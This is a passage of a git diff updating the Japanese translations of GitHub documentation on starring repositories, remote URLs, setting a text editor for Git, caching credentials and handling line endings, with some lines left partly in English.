+リポジトリに Star を付けるということは、リポジトリメンテナに対してその作業についての感謝を示すことでもあります。 {% data variables.product.prodname_dotcom %} のリポジトリランキングの多くは、リポジトリに付けられた Star の数を考慮しています。 また、[Explore](https://github.com/explore) は、リポジトリに付けられた Star の数に基づいて、人気のあるリポジトリを表示しています。
 
 ## Starring a repository
 
 Starring a repository is a simple two-step process.
 
 {% data reusables.repositories.navigate-to-repo %}
-1. In the top-right corner of the page, click **Star**.
-![Starring a repository](/assets/images/help/stars/starring-a-repository.png)
-1. Optionally, to unstar a previously starred repository, click **Unstar**.
-![Untarring a repository](/assets/images/help/stars/unstarring-a-repository.png)
+1. In the top-right corner of the page, click **Star**. ![Starring a repository](/assets/images/help/stars/starring-a-repository.png)
+1. Optionally, to unstar a previously starred repository, click **Unstar**. ![Untarring a repository](/assets/images/help/stars/unstarring-a-repository.png)
 
 {% ifversion fpt or ghec %}
 ## Organizing starred repositories with lists
@@ -55,7 +54,7 @@ If you add a private repository to a list, then the private repository will only
 
 ![Screenshot of lists on stars page](/assets/images/help/stars/lists-overview-on-stars-page.png)
 
-You can add a repository to an existing or new list wherever you see a repository's **Star** or **Starred** dropdown menu, whether on a repository page or in a list of starred repositories. 
+You can add a repository to an existing or new list wherever you see a repository's **Star** or **Starred** dropdown menu, whether on a repository page or in a list of starred repositories.
 
 ![Screenshot of "Star" dropdown menu with list options featured from the repository page](/assets/images/help/stars/stars-dropdown-on-repo.png)
 
@@ -64,66 +63,55 @@ You can add a repository to an existing or new list wherever you see a repositor
 ### Creating a list
 
 {% data reusables.stars.stars-page-navigation %}
-2. Next to "Lists", click **Create list**.
-  ![Screenshot of "Create list" button](/assets/images/help/stars/create-list.png)
-3. Enter a name and description for your list and click **Create**.
-  ![Screenshot of modal showing where you enter a name and description with the "Create" button.](/assets/images/help/stars/create-list-with-description.png)
+2. Next to "Lists", click **Create list**. ![Screenshot of "Create list" button](/assets/images/help/stars/create-list.png)
+3. Enter a name and description for your list and click **Create**. ![Screenshot of modal showing where you enter a name and description with the "Create" button.](/assets/images/help/stars/create-list-with-description.png)
 
 ### Adding a repository to a list
 
 {% data reusables.stars.stars-page-navigation %}
-2. Find the repository you want to add to your list.
-  ![Screenshot of starred repos search bar](/assets/images/help/stars/search-bar-for-starred-repos.png)
-3. Next to the repository you want to add, use the **Starred** dropdown menu and select your list.
-  ![Screenshot of dropdown showing a list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+2. Find the repository you want to add to your list. ![Screenshot of starred repos search bar](/assets/images/help/stars/search-bar-for-starred-repos.png)
+3. Next to the repository you want to add, use the **Starred** dropdown menu and select your list. ![Screenshot of dropdown showing a list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
 
 ### Removing a repository from your list
 
 {% data reusables.stars.stars-page-navigation %}
 2. Select your list.
-3. Next to the repository you want to remove, use the **Starred** dropdown menu and deselect your list.
-  ![Screenshot of dropdown showing list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+3. Next to the repository you want to remove, use the **Starred** dropdown menu and deselect your list. ![Screenshot of dropdown showing list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
 
 ### Editing a list name or description
 
 {% data reusables.stars.stars-page-navigation %}
 1. Select the list you want to edit.
 2. Click **Edit list**.
-3. Update the name or description and click **Save list**.
-  ![Screenshot of modal showing "Save list" button](/assets/images/help/stars/edit-list-options.png) 
+3. Update the name or description and click **Save list**. ![Screenshot of modal showing "Save list" button](/assets/images/help/stars/edit-list-options.png)
 
 ### Deleting a list
 
 {% data reusables.stars.stars-page-navigation %}
 2. Select the list you want to delete.
-3. Click **Delete list**.
-  ![Screenshot of modal showing "Delete list" button](/assets/images/help/stars/edit-list-options.png)
+3. Click **Delete list**. ![Screenshot of modal showing "Delete list" button](/assets/images/help/stars/edit-list-options.png)
 4. To confirm, click **Delete**.
 
 {% endif %}
 
 ## Searching starred repositories and topics
 
-You can use the search bar on your {% data variables.explore.your_stars_page %} to quickly find repositories and topics you've starred. 
+You can use the search bar on your {% data variables.explore.your_stars_page %} to quickly find repositories and topics you've starred.
 
 1. Go to your {% data variables.explore.your_stars_page %}.
-1. Use the search bar to find your starred repositories or topics by their name.
-![Searching through stars](/assets/images/help/stars/stars_search_bar.png)
+1. Use the search bar to find your starred repositories or topics by their name. ![Star で検索する](/assets/images/help/stars/stars_search_bar.png)
 
-The search bar only searches based on the name of a repository or topic, and not on any other qualifiers (such as the size of the repository or when it was last updated).
+検索バーは、リポジトリまたはトピックの名前に基づいて検索するだけで、他の条件 (リポジトリのサイズ、最終更新日時など) は使われません。
 
 ## Sorting and filtering stars on your stars page
 
 You can use sorting or filtering to customize how you see starred repositories and topics on your stars page.
 
 1. Go to your {% data variables.explore.your_stars_page %}.
-1. To sort stars, select the **Sort** drop-down menu, then select **Recently starred**, **Recently active**, or **Most stars**.
-![Sorting stars](/assets/images/help/stars/stars_sort_menu.png)
-1. To filter your list of stars based on their language, click on the desired language under **Filter by languages**.
-![Filter stars by language](/assets/images/help/stars/stars_filter_language.png)
-1. To filter your list of stars based on repository or topic, click on the desired option.
-![Filter stars by topic](/assets/images/help/stars/stars_filter_topic.png)
+1. To sort stars, select the **Sort** drop-down menu, then select **Recently starred**, **Recently active**, or **Most stars**. ![Star のソート](/assets/images/help/stars/stars_sort_menu.png)
+1. To filter your list of stars based on their language, click on the desired language under **Filter by languages**. ![Star を言語別にフィルタリング](/assets/images/help/stars/stars_filter_language.png)
+1. To filter your list of stars based on repository or topic, click on the desired option. ![Filter stars by topic](/assets/images/help/stars/stars_filter_topic.png)
 
-## Further reading
+## 参考リンク
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
+- [Topics によるリポジトリの分類](/articles/classifying-your-repository-with-topics)
diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/about-remote-repositories.md b/translations/ja-JP/content/get-started/getting-started-with-git/about-remote-repositories.md
index 78b6642b52..c3e7744eab 100644
--- a/translations/ja-JP/content/get-started/getting-started-with-git/about-remote-repositories.md
+++ b/translations/ja-JP/content/get-started/getting-started-with-git/about-remote-repositories.md
@@ -1,5 +1,5 @@
 ---
-title: About remote repositories
+title: リモートリポジトリについて
 redirect_from:
   - /articles/working-when-github-goes-down
   - /articles/sharing-repositories-without-github
@@ -17,82 +17,82 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## About remote repositories
 
-A remote URL is Git's fancy way of saying "the place where your code is stored." That URL could be your repository on GitHub, or another user's fork, or even on a completely different server.
+## リモートリポジトリについて
 
-You can only push to two types of URL addresses:
+リモート URL は、「コードがここに保存されています」ということを表現する Git のしゃれた方法です。 That URL could be your repository on GitHub, or another user's fork, or even on a completely different server.
 
-* An HTTPS URL like `https://{% data variables.command_line.backticks %}/user/repo.git`
-* An SSH URL, like `git@{% data variables.command_line.backticks %}:user/repo.git`
+プッシュできるのは、2 種類の URL アドレスに対してのみです。
 
-Git associates a remote URL with a name, and your default remote is usually called `origin`.
+* `https://{% data variables.command_line.backticks %}/user/repo.git` のような HTTPS URL
+* `git@{% data variables.command_line.backticks %}:user/repo.git` のような SSH URL
+
+Git はリモート URL に名前を関連付けます。デフォルトのリモートは通常 `origin` と呼ばれます。
 
 ## Creating remote repositories
 
-You can use the `git remote add` command to match a remote URL with a name.
-For example, you'd type the following in the command line:
+`git remote add` コマンドを使用してリモート URL に名前を関連付けることができます。 たとえば、コマンドラインに以下のように入力できます:
 
 ```shell
 git remote add origin <em> &lt;REMOTE_URL> </em>
 ```
 
-This associates the name `origin` with the `REMOTE_URL`.
+これで `origin` という名前が `REMOTE_URL` に関連付けられます。
 
-You can use the command `git remote set-url` to [change a remote's URL](/github/getting-started-with-github/managing-remote-repositories).
+`git remote set-url` を使えば、[リモートの URL を変更](/github/getting-started-with-github/managing-remote-repositories)できます。
 
 ## Choosing a URL for your remote repository
 
-There are several ways to clone repositories available on {% data variables.product.product_location %}.
+{% data variables.product.product_location %} で使用できるリポジトリを複製する方法は複数あります。
 
-When you view a repository while signed in to your account, the URLs you can use to clone the project onto your computer are available below the repository details.
+アカウントにサインインしているときにリポジトリを表示すると、プロジェクトを自分のコンピュータに複製するために使用できるURLがリポジトリの詳細の下に表示されます.
 
 For information on setting or changing your remote URL, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
 
-## Cloning with HTTPS URLs
+## HTTPS URL を使ってクローンを作成する
 
-The `https://` clone URLs are available on all repositories, regardless of visibility. `https://` clone URLs work even if you are behind a firewall or proxy.
+`https://` は、可視性に関係なく、すべてのリポジトリで使用できます。 `https://` のクローン URL は、ファイアウォールまたはプロキシの内側にいる場合でも機能します。
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using HTTPS URLs on the command line, Git will ask for your {% data variables.product.product_name %} username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+コマンドラインで、HTTPS URL を使用してリモートリポジトリに `git clone`、`git fetch`、`git pull` または `git push` を行った場合、{% data variables.product.product_name %} のユーザ名とパスワードの入力を求められます。 {% data reusables.user_settings.password-authentication-deprecation %}
 
 {% data reusables.command_line.provide-an-access-token %}
 
 {% tip %}
 
-**Tips**:
-- You can use a credential helper so Git will remember your {% data variables.product.prodname_dotcom %} credentials every time it talks to {% data variables.product.prodname_dotcom %}. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
-- To clone a repository without authenticating to {% data variables.product.product_name %} on the command line, you can use {% data variables.product.prodname_desktop %} to clone instead. For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+**ヒント**:
+- 認証情報ヘルパーを使用すれば、{% data variables.product.prodname_dotcom %} と通信するたびに、{% data variables.product.prodname_dotcom %} の認証情報が Git で記憶されます。 詳細は「[Git に {% data variables.product.prodname_dotcom %} の認証情報をキャッシュする](/github/getting-started-with-github/caching-your-github-credentials-in-git)」を参照してください。
+- コマンドラインで {% data variables.product.product_name %} の認証なしでリポジトリを複製するために、クローンの代わりに、{% data variables.product.prodname_desktop %} を使用することができます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} から {% data variables.product.prodname_dotcom %} Desktop にリポジトリをクローンする](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)」を参照してください。
 
 {% endtip %}
 
- {% ifversion fpt or ghec %}If you'd rather use SSH but cannot connect over port 22, you might be able to use SSH over the HTTPS port. For more information, see "[Using SSH over the HTTPS port](/github/authenticating-to-github/using-ssh-over-the-https-port)."{% endif %}
+ {% ifversion fpt or ghec %}SSH を使用したくてもポート 22 で接続できない場合は、HTTPS ポートを介する SSH を使用できる場合があります。 詳細は、「[HTTPS ポートを介して SSH を使用する](/github/authenticating-to-github/using-ssh-over-the-https-port)」を参照してください。{% endif %}
 
-## Cloning with SSH URLs
+## SSH URL を使ってクローンする
 
-SSH URLs provide access to a Git repository via SSH, a secure protocol. To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)."
+SSH URL は、SSH (安全なプロトコル) を介した Git リポジトリへのアクセスを提供します。 To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 詳しい情報については「[{% data variables.product.prodname_dotcom %} に SSH で接続する](/github/authenticating-to-github/connecting-to-github-with-ssh)」を参照してください。
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using SSH URLs, you'll be prompted for a password and must provide your SSH key passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+SSH URL を使用して、`git clone`、`git fetch`、`git pull` または `git push` をリモートリポジトリに実行すると、パスワードの入力を求められ、SSH キーパスフレーズを入力する必要があります。 詳しい情報については[SSH キーのパスフレーズを使う](/github/authenticating-to-github/working-with-ssh-key-passphrases)を参照してください。
 
-{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML single sign-on (SSO), you must authorize your SSH key to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}SAML シングルサインオン (SSO) を使っている Organization にアクセスしている場合は、認証を受ける前に、Organization にアクセスする SSHキーを認可する必要があります。 For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
 
 {% tip %}
 
-**Tip**: You can use an SSH URL to clone a repository to your computer, or as a secure way of deploying your code to production servers. You can also use SSH agent forwarding with your deploy script to avoid managing keys on the server. For more information, see "[Using SSH Agent Forwarding](/developers/overview/using-ssh-agent-forwarding)."
+**ヒント**: SSH URL は、お使いのコンピュータにリポジトリを作成する際にも、または本番サーバーにコードをデプロイする安全な方法としても使用できます。 デプロイスクリプトで SSH エージェント転送を使用して、サーバー上のキーの管理を回避することもできます。 詳細は「[SSH エージェント転送を使用する](/developers/overview/using-ssh-agent-forwarding)」を参照してください。
 
 {% endtip %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Cloning with {% data variables.product.prodname_cli %}
+## {% data variables.product.prodname_cli %} を使ってクローンを作成する
 
-You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.product_name %} workflows in your terminal. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+{% data variables.product.prodname_cli %} をインストールして、ターミナルで {% data variables.product.product_name %} ワークフローを使用することもできます。 詳しい情報については、「[{% data variables.product.prodname_cli %} について](/github-cli/github-cli/about-github-cli)」を参照してください。
 
 {% endif %}
 
 {% ifversion not ghae %}
-## Cloning with Subversion
+## Subversion を使って複製する
 
-You can also use a [Subversion](https://subversion.apache.org/) client to access any repository on {% data variables.product.prodname_dotcom %}. Subversion offers a different feature set than Git. For more information, see "[What are the differences between Subversion and Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)"
+[Subversion](https://subversion.apache.org/) クライアントを使用して、{% data variables.product.prodname_dotcom %} のリポジトリにアクセスすることもできます。 Subversion と Git では、提供する機能群に違いがあります。 詳しい情報については、「[Subversion と Git の違い](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)」を参照してください。
 
-You can also access repositories on {% data variables.product.prodname_dotcom %} from Subversion clients. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)."
+Subversion クライアントから {% data variables.product.prodname_dotcom %} のリポジトリにアクセスすることもできます。 詳細は、「[Subversion クライアントのサポート](/github/importing-your-projects-to-github/support-for-subversion-clients)」を参照してください。
 {% endif %}
diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/associating-text-editors-with-git.md b/translations/ja-JP/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
index 8abbe4ef24..f1911f0b3c 100644
--- a/translations/ja-JP/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
+++ b/translations/ja-JP/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
@@ -1,6 +1,6 @@
 ---
-title: Associating text editors with Git
-intro: Use a text editor to open and edit your files with Git.
+title: Git とのテキストエディタの関連付け
+intro: テキストエディタを使って Git でファイルを開いたり編集したりしてください。
 redirect_from:
   - /textmate
   - /articles/using-textmate-as-your-default-editor
@@ -16,41 +16,42 @@ versions:
   ghec: '*'
 shortTitle: Associate text editors
 ---
+
 {% mac %}
 
-## Using Atom as your editor
+## エディタとして Atom を使う
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. [Atom](https://atom.io/)をインストールします。 詳しい情報については、Atomのドキュメンテーションの「[Atomのインストール](https://flight-manual.atom.io/getting-started/sections/installing-atom/)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## エディタとして Visual Studio Code を使う
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. [Visual Studio Code](https://code.visualstudio.com/) (VS Code) をインストールします。 詳細は、VS Code のドキュメンテーションで「[Visual Studio Code の設定](https://code.visualstudio.com/Docs/setup/setup-overview)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## エディタとして Sublime Text を使う
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. [Sublime Text](https://www.sublimetext.com/) をインストールします。 詳細は、Sublime Text のドキュメンテーションの「[インストール](https://docs.sublimetext.io/guide/getting-started/installation.html)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
 
-## Using TextMate as your editor
+## エディタとして TextMate を使う
 
-1. Install [TextMate](https://macromates.com/).
-2. Install TextMate's `mate` shell utility. For more information, see "[mate and rmate](https://macromates.com/blog/2011/mate-and-rmate/)" in the TextMate documentation.
+1. [TextMate](https://macromates.com/) をインストールします。
+2. TextMate の `mate` のシェルユーティリティをインストールします。 詳細は、TextMate のドキュメンテーションで「[mate と rmate](https://macromates.com/blog/2011/mate-and-rmate/)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-4. Type this command:
+4. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "mate -w"
   ```
@@ -58,38 +59,38 @@ shortTitle: Associate text editors
 
 {% windows %}
 
-## Using Atom as your editor
+## エディタとして Atom を使う
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. [Atom](https://atom.io/)をインストールします。 詳しい情報については、Atomのドキュメンテーションの「[Atomのインストール](https://flight-manual.atom.io/getting-started/sections/installing-atom/)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## エディタとして Visual Studio Code を使う
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. [Visual Studio Code](https://code.visualstudio.com/) (VS Code) をインストールします。 詳細は、VS Code のドキュメンテーションで「[Visual Studio Code の設定](https://code.visualstudio.com/Docs/setup/setup-overview)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## エディタとして Sublime Text を使う
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. [Sublime Text](https://www.sublimetext.com/) をインストールします。 詳細は、Sublime Text のドキュメンテーションの「[インストール](https://docs.sublimetext.io/guide/getting-started/installation.html)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w"
   ```
 
-## Using Notepad++ as your editor
+## エディタとして Notepad++ を使う
 
-1. Install Notepad++ from https://notepad-plus-plus.org/. For more information, see "[Getting started](https://npp-user-manual.org/docs/getting-started/)" in the Notepad++ documentation.
+1. https://notepad-plus-plus.org/ から Notepad++ をインストールします。 詳細は、Notepad++ のドキュメンテーションで「[Getting started](https://npp-user-manual.org/docs/getting-started/)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin"
   ```
@@ -97,29 +98,29 @@ shortTitle: Associate text editors
 
 {% linux %}
 
-## Using Atom as your editor
+## エディタとして Atom を使う
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. [Atom](https://atom.io/)をインストールします。 詳しい情報については、Atomのドキュメンテーションの「[Atomのインストール](https://flight-manual.atom.io/getting-started/sections/installing-atom/)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## エディタとして Visual Studio Code を使う
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. [Visual Studio Code](https://code.visualstudio.com/) (VS Code) をインストールします。 詳細は、VS Code のドキュメンテーションで「[Visual Studio Code の設定](https://code.visualstudio.com/Docs/setup/setup-overview)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## エディタとして Sublime Text を使う
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. [Sublime Text](https://www.sublimetext.com/) をインストールします。 詳細は、Sublime Text のドキュメンテーションの「[インストール](https://docs.sublimetext.io/guide/getting-started/installation.html)」を参照してください。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 以下のコマンドを入力してください:
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
index 5c74e8cf31..5e4c34a55b 100644
--- a/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
+++ b/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
@@ -1,5 +1,5 @@
 ---
-title: Caching your GitHub credentials in Git
+title: Git に GitHub の認証情報をキャッシュする
 redirect_from:
   - /firewalls-and-proxies
   - /articles/caching-your-github-password-in-git
@@ -18,7 +18,7 @@ shortTitle: Caching credentials
 
 {% tip %}
 
-**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you  can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)."
+**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you  can authenticate using an SSH key instead of using other credentials. SSH 接続のセットアップについては「[SSH キーを生成する](/articles/generating-an-ssh-key)」を参照してください。
 
 {% endtip %}
 
@@ -53,7 +53,7 @@ For more information about authenticating with {% data variables.product.prodnam
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+認証に成功すると、認証情報は macOS のキーチェーンに保存され、HTTPS URL をクローンするたびに使用されます。 Git will not require you to type your credentials in the command line again unless you change your credentials.
 
 {% endmac %}
 
@@ -77,7 +77,7 @@ Once you've authenticated successfully, your credentials are stored in the Windo
 
 {% warning %}
 
-**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. 
+**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it.
 
 {% endwarning %}
 
diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md b/translations/ja-JP/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
index 676651b64c..e824fb4166 100644
--- a/translations/ja-JP/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
+++ b/translations/ja-JP/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git to handle line endings
-intro: 'To avoid problems in your diffs, you can configure Git to properly handle line endings.'
+title: 行終端を処理するようGitを設定する
+intro: diff における問題を回避するため、行終端を正しく処理できるよう Git を設定できます。
 redirect_from:
   - /dealing-with-lineendings
   - /line-endings
@@ -16,20 +16,21 @@ versions:
   ghec: '*'
 shortTitle: Handle line endings
 ---
+
 ## About line endings
-Every time you press <kbd>return</kbd> on your keyboard you insert an invisible character called a line ending. Different operating systems handle line endings differently.
+キーボードで <kbd>return</kbd> を押すたびに、行終端と呼ばれる目に見えない文字が挿入されています。 行終端の処理は、オペレーティングシステムによって異なります。
 
 When you're collaborating on projects with Git and {% data variables.product.product_name %}, Git might produce unexpected results if, for example, you're working on a Windows machine, and your collaborator has made a change in macOS.
 
-You can configure Git to handle line endings automatically so you can collaborate effectively with people who use different operating systems.
+異なるオペレーティングシステムを使用しているユーザとも効果的にコラボレーションができるように、自動的に行終端を処理するよう Git を設定することができます。
 
-## Global settings for line endings
+## 行終端のグローバル設定
 
-The `git config core.autocrlf` command is used to change how Git handles line endings. It takes a single argument.
+Git による行終端の扱い方を変更するには `git config core.autocrlf` コマンドを使用します。 必要な引数は 1 つです。
 
 {% mac %}
 
-On macOS, you simply pass `input` to the configuration. For example:
+On macOS, you simply pass `input` to the configuration. 例:
 
 ```shell
 $ git config --global core.autocrlf input
@@ -40,7 +41,7 @@ $ git config --global core.autocrlf input
 
 {% windows %}
 
-On Windows, you simply pass `true` to the configuration. For example:
+Windows では、設定に `true` を渡すだけです。 例:
 
 ```shell
 $ git config --global core.autocrlf true
@@ -52,7 +53,7 @@ $ git config --global core.autocrlf true
 
 {% linux %}
 
-On Linux, you simply pass `input` to the configuration. For example:
+Linux では、設定に `input` を渡すだけです。 例:
 
 ```shell
 $ git config --global core.autocrlf input
@@ -61,75 +62,75 @@ $ git config --global core.autocrlf input
 
 {% endlinux %}
 
-## Per-repository settings
+## リポジトリ単位での設定
 
-Optionally, you can configure a *.gitattributes* file to manage how Git reads line endings in a specific repository. When you commit this file to a repository, it overrides the `core.autocrlf` setting for all repository contributors. This ensures consistent behavior for all users, regardless of their Git settings and environment.
+オプションで *.gitattributes* ファイルを設定すれば、特定のリポジトリで Git が行終端をどう読み込むかを管理することもできます。 このファイルをリポジトリにコミットすると、すべてのリポジトリコントリビューターの `core.autocrlf` 設定がオーバーライドされます。 そのため、Git 設定と環境にかかわらずすべてのユーザで一貫した動作を確保できます。
 
-The *.gitattributes* file must be created in the root of the repository and committed like any other file.
+*.gitattributes* ファイルは、リポジトリのルートに作成し、他のファイルと同様にコミットする必要があります。
 
-A *.gitattributes* file looks like a table with two columns:
+*.gitattributes* ファイルは 2 列で構成される表のようなものです:
 
-* On the left is the file name for Git to match.
-* On the right is the line ending configuration that Git should use for those files.
+* 左側は Git が一致させるファイル名です。
+* 右側はそのようなファイルに対して Git が使用すべき行終端の設定です。
 
-### Example
+### サンプル
 
-Here's an example *.gitattributes* file. You can use it as a template for your repositories:
+以下は *.gitattributes* ファイルの例です。 リポジトリのテンプレートとして使用できます。
 
 ```
-# Set the default behavior, in case people don't have core.autocrlf set.
+# core.autocrlf を設定していない人のために、デフォルトの動作を設定する。
 * text=auto
 
-# Explicitly declare text files you want to always be normalized and converted
-# to native line endings on checkout.
+# 常に正規化し、チェックアウトの際ネイティブの行終端に変換したい
+# テキストファイルを明示的に宣言する。
 *.c text
 *.h text
 
-# Declare files that will always have CRLF line endings on checkout.
+# チェックアウトの際常に CRLF を行終端とするファイルを宣言する。
 *.sln text eol=crlf
 
-# Denote all files that are truly binary and should not be modified.
+# 完全にバイナリで変更すべきでないファイルをすべて示す。
 *.png binary
 *.jpg binary
 ```
 
-You'll notice that files are matched—`*.c`, `*.sln`, `*.png`—, separated by a space, then given a setting—`text`, `text eol=crlf`, `binary`. We'll go over some possible settings below.
